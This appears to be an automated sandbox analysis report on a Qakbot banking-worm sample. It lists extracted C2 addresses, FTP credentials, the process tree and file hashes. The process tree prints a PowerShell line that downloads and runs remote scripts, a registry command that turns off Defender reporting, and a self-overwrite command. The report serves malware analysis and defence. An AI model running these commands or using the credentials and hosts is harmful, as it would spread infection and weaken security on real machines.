Analysis
-
max time kernel
153s -
max time network
74s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
11-08-2020 12:30
General
-
Target
foo/62565a39c4a264e48e0678edad5d60fd.exe
Malware Config
Extracted
https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl=1
https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl=1
Extracted
qakbot
1535648626
Protocol: ftp- Host:
37.60.244.211 - Port:
21 - Username:
[email protected] - Password:
4AsEzIaMwi2d
Protocol: ftp- Host:
198.38.77.162 - Port:
21 - Username:
[email protected] - Password:
kJm6DKVPfyiv
Protocol: ftp- Host:
61.221.12.26 - Port:
21 - Username:
[email protected] - Password:
346HZGCMlwecz9S
Protocol: ftp- Host:
67.222.137.18 - Port:
21 - Username:
[email protected] - Password:
p4a8k6fE1FtA3pR
Protocol: ftp- Host:
107.6.152.61 - Port:
21 - Username:
[email protected] - Password:
RoP4Af0RKAAQ74V
190.185.219.110:443
73.74.72.141:443
65.116.179.83:443
50.198.141.161:2078
70.183.154.153:995
68.49.120.179:443
70.94.109.57:443
24.45.54.50:2222
190.80.21.204:2222
216.201.159.118:443
74.88.210.56:995
75.189.235.216:443
47.48.236.98:2222
68.59.209.183:995
75.3.101.153:443
108.17.25.169:443
185.219.83.73:443
184.180.157.203:2222
207.178.109.161:443
174.48.72.160:443
Signatures
-
Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
-
Blocklisted process makes network request 1 IoCs
-
Executes dropped EXE 2 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 9 IoCs
-
Suspicious use of WriteProcessMemory 53 IoCs
Processes
-
c:\windows\system32\sihost.exesihost.exe1⤵
- Suspicious behavior: EnumeratesProcesses
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵
- Suspicious behavior: EnumeratesProcesses
-
c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe"C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe"C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe" /C3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exeC:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exe" /C4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exeC:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl=1'); IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl=1'); Invoke-MainWorker -Command 'C:\Users\Admin\AppData\Local\Temp\dworresfxzjxabptoatbbqjfpcfgrc.txt'"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping.exe -n 6 127.0.0.1 & type "C:\Windows\System32\calc.exe" > "C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\PING.EXEping.exe -n 6 127.0.0.14⤵
- Runs ping.exe
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyk.datMD5
e70679a10b52958d3623f7f4462633c8
SHA136a722a266349b2813f798165feb4dd17acbfb4e
SHA256199d30e9efc106878b0c7de2a9f7ce238e057a805f7b4424e0102662a1d584c4
SHA512fdd9f605e995f590738d8cfde919e95468db3fed834ce3bcb708e26c5b3d9f52525691837df29a498cc51f3758be10b512e7b60343be51cbc18a1da9061d1f57
-
C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exeMD5
62565a39c4a264e48e0678edad5d60fd
SHA11dc0f3920082e9f3e789d5d1587d9c7b47d58a5e
SHA256d9d3596268e269cb48aee92aaa47a50f785f8568f319aad812af163da28e7a40
SHA5129b851c15b072ba5e0b316f2f02ff49fbb483fd5b4545d7c225f27ddfe8ef0fc99747a5b14bbad6b6373c1b562984c22d52d83c65970ce5ffc5209a5dc1e715cc
-
C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exeMD5
62565a39c4a264e48e0678edad5d60fd
SHA11dc0f3920082e9f3e789d5d1587d9c7b47d58a5e
SHA256d9d3596268e269cb48aee92aaa47a50f785f8568f319aad812af163da28e7a40
SHA5129b851c15b072ba5e0b316f2f02ff49fbb483fd5b4545d7c225f27ddfe8ef0fc99747a5b14bbad6b6373c1b562984c22d52d83c65970ce5ffc5209a5dc1e715cc
-
C:\Users\Admin\AppData\Roaming\Microsoft\Yefhykie\yefhyki.exeMD5
62565a39c4a264e48e0678edad5d60fd
SHA11dc0f3920082e9f3e789d5d1587d9c7b47d58a5e
SHA256d9d3596268e269cb48aee92aaa47a50f785f8568f319aad812af163da28e7a40
SHA5129b851c15b072ba5e0b316f2f02ff49fbb483fd5b4545d7c225f27ddfe8ef0fc99747a5b14bbad6b6373c1b562984c22d52d83c65970ce5ffc5209a5dc1e715cc
-
memory/604-2-0x0000000000000000-mapping.dmp
-
memory/604-13-0x00000000005D0000-0x0000000000639000-memory.dmpFilesize
420KB
-
memory/628-19-0x0000000000000000-mapping.dmp
-
memory/628-17-0x0000000000000000-mapping.dmp
-
memory/1012-1-0x0000000002850000-0x0000000002851000-memory.dmpFilesize
4KB
-
memory/1012-0-0x0000000000000000-mapping.dmp
-
memory/1100-5-0x0000000000000000-mapping.dmp
-
memory/1280-9-0x000001D51C5C0000-0x000001D51C5C1000-memory.dmpFilesize
4KB
-
memory/1280-8-0x000001D51C410000-0x000001D51C411000-memory.dmpFilesize
4KB
-
memory/1280-7-0x00007FF9CFA20000-0x00007FF9D040C000-memory.dmpFilesize
9.9MB
-
memory/1280-6-0x0000000000000000-mapping.dmp
-
memory/1888-10-0x0000000000000000-mapping.dmp
-
memory/1888-12-0x0000000002880000-0x0000000002881000-memory.dmpFilesize
4KB
-
memory/3672-14-0x0000000000000000-mapping.dmp
-
memory/3876-16-0x0000000000000000-mapping.dmp
-
memory/3876-18-0x0000000000000000-mapping.dmp